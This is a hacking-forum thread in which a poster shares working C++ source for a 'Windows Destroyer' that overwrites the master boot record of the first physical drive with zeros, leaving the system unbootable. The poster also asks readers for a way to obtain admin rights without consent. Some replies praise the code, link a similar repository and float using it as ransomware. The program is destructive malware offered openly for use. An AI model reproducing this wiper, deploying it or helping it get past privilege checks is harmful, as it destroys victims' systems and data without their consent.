Hack Forums
[C] C ++ Windows Destroyer! - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C] C ++ Windows Destroyer! (/showthread.php?tid=6108753)



C ++ Windows Destroyer! - Astate - Sep 11, 2020

I share with you a small source which allows to destroy a windows that I wrote. More precisely, this code will rewrite the first section of the hard drive (the one that allows booting).

DO NOT LAUNCH IT ON YOUR PC.😭
Code
#include <iostream>
#include <Windows.h>

using namespace std;

int main()
{
  DWORD write;
  char mbrData[512];
  ZeroMemory(&mbrData, (sizeof mbrData));

  HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

  if(WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == true){
    cout << "Succes !" << endl;
    Sleep(5000);
    ExitProcess(0);
  }
  else {
    cout << "fail" << endl;
    Sleep(5000);
    ExitProcess(0);
  }

  CloseHandle(MasterBootRecord);
  return EXIT_SUCCESS;
}
EDIT: I forgot to specify, the software must have admin rights. If you have a solution for this comment!...


RE: C ++ Windows Destroyer! - 4Txe4y33C9zvNhMj - Sep 12, 2020

Looks like this in ugly.

https://github.com/sheep-o/Windows-MBR-Overwrite/blob/master/Main.cpp


RE: C ++ Windows Destroyer! - Astate - Sep 12, 2020

😕Sorry for this bad post !... But,
I did not want to harm the good being of the Forums...

I just wanted to present a new way of doing things, for those new or the Nob to the Forums who
don't really know the development

I didn't think I would revolutionize the Shit!... 😭

Also I don't believe I saw the same Post on the Forum, So I didn't think I was harmful ?
So I didn't think I was helpful, but informative...


RE: C ++ Windows Destroyer! - taapy - Sep 18, 2020

Thanks mate thats awesome ! :D


RE: C ++ Windows Destroyer! - indetectable - Sep 18, 2020

But suddenly it could be used as ransomware no ??


RE: C ++ Windows Destroyer! - SIM-3750641 - Sep 24, 2020

Hahaha dang this is scary to play with, I have a habit of building and running programs all the time... Thanks bro


RE: C ++ Windows Destroyer! - Klonopin - Sep 24, 2020

rewriting the masterboot record will fuck up your pc indeed, but its not hard to fix it rip the files though